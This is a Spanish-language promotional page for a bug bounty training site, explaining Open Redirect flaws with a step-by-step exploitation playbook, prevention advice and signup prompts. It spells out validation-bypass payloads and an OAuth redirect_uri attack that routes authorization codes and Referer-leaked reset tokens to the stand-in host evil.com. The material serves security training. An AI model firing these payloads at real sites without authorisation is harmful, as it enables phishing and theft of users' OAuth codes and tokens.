Labs de Open Redirect

Open Redirect

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

¿Qué es Open Redirect?

Un Open Redirect ocurre cuando una aplicación redirige a los usuarios a URLs controladas por el atacante sin validación. Puede usarse para phishing, robo de tokens OAuth y como componente en cadenas de ataque más complejas.

¿Por qué practicar Open Redirect?

Aunque muchos programas lo consideran bajo impacto por sí solo, el Open Redirect es un componente clave en cadenas de ataque: SSRF, OAuth token theft y phishing dirigido. Aprender a encadenarlo con otras vulns multiplica tu impacto y abre triage que de otra forma sería marcado como informational.

¿Qué aprenderás con los labs de Open Redirect?

Aprenderás patterns de redirect comunes (?next=, ?return=, ?callback=), técnicas de bypass de validación (//evil.com, ///, @, IDN homograph), abusar de redirect_uri en OAuth para robar codes/tokens, y construir reports que demuestren impacto real (no solo "redirige a Google").

Tipos de Open Redirect que cubrimos

  • Protocol-relative

    //evil.com — el browser interpreta como hostname. Pasa allowlists que solo chequean prefijo http/https.

  • Backslash bypass

    https://app.com\@evil.com — algunos parsers tratan \ como /, otros como literal. Discrepancia = bypass.

  • OAuth redirect_uri

    Si la app permite wildcards en redirect_uri o no valida path, se roba el authorization code.

  • @ trick

    https://app.com@evil.com — la parte antes de @ es userinfo. Bypassa validators que solo splittan por slash.

¿Cómo encontrar y explotar Open Redirect?

Playbook práctico — del recon a la prueba de concepto.

  1. 1

    Cazar el parámetro de redirect

    Busca parámetros típicos que controlan a dónde te lleva la app tras una acción (login, logout, continuar).

    ?next=  ?return=  ?returnUrl=  ?redirect=  ?url=  ?callback=  ?dest=
  2. 2

    Probar un destino externo directo

    Mete tu dominio y observa si la app te redirige fuera sin validar. Si va directo, ya tienes el Open Redirect.

    https://target/login?next=https://evil.com
  3. 3

    Bypassear la validación

    Si filtran dominios externos, prueba URLs protocol-relative, el truco de @ (userinfo), backslashes y dobles slashes.

    //evil.com   ·   https://target.com@evil.com   ·   https://target.com\@evil.com   ·   /\evil.com
  4. 4

    Atacar redirect_uri de OAuth

    En flujos OAuth, manipula redirect_uri a un dominio/path tuyo. Si valida laxo, el authorization code llega a tu servidor.

    /oauth/authorize?...&redirect_uri=https://evil.com/cb&response_type=code
  5. 5

    Subir el impacto encadenando

    Solo no vale mucho. Úsalo para robar tokens OAuth, fugar el header Referer con secretos, o saltarte la allowlist de un SSRF.

    evil.com recibe en logs: Referer: https://target/reset?token=ABC123

Aprende la teoría

Academy: OAuth & SSO

Preguntas frecuentes

¿Qué es un Open Redirect?

Es una vulnerabilidad en la que la app redirige al usuario a una URL controlada por el atacante porque no valida el destino. Se usa para phishing convincente, robo de tokens OAuth y como pieza en cadenas con SSRF.

¿Cómo se explota un Open Redirect?

Se manipula un parámetro de redirección (next, return, url) para apuntar a un dominio externo. Si hay validación, se bypassea con tricks como //evil.com, target.com@evil.com o backslashes, y se eleva el impacto robando códigos OAuth o el header Referer.

¿Cómo encontrar Open Redirect en bug bounty?

Identifica todos los parámetros que controlan navegación tras login, logout u OAuth, y prueba destinos externos y sus bypasses. El callback de OAuth (redirect_uri) es el punto más rentable porque permite robar el authorization code.

¿Cómo prevenir el Open Redirect?

Usa una allowlist de destinos permitidos, redirige solo a rutas relativas internas, valida que el host coincide exactamente con el tuyo y, en OAuth, exige coincidencia exacta de redirect_uri registrada.

¿Por qué un Open Redirect suele pagar poco solo?

Porque por sí mismo el impacto es phishing, que muchos programas marcan como informational. El valor está en encadenarlo: robo de tokens OAuth, bypass de allowlist de SSRF o fuga de secretos vía Referer convierten un P5 en un P2/P1.

650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Practica Open Redirect en labs reales

Cada lab de Open Redirect replica un reporte real de bug bounty que se pagó. Crea tu cuenta gratis, empieza por la Academy y pasa a los labs cuando quieras.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.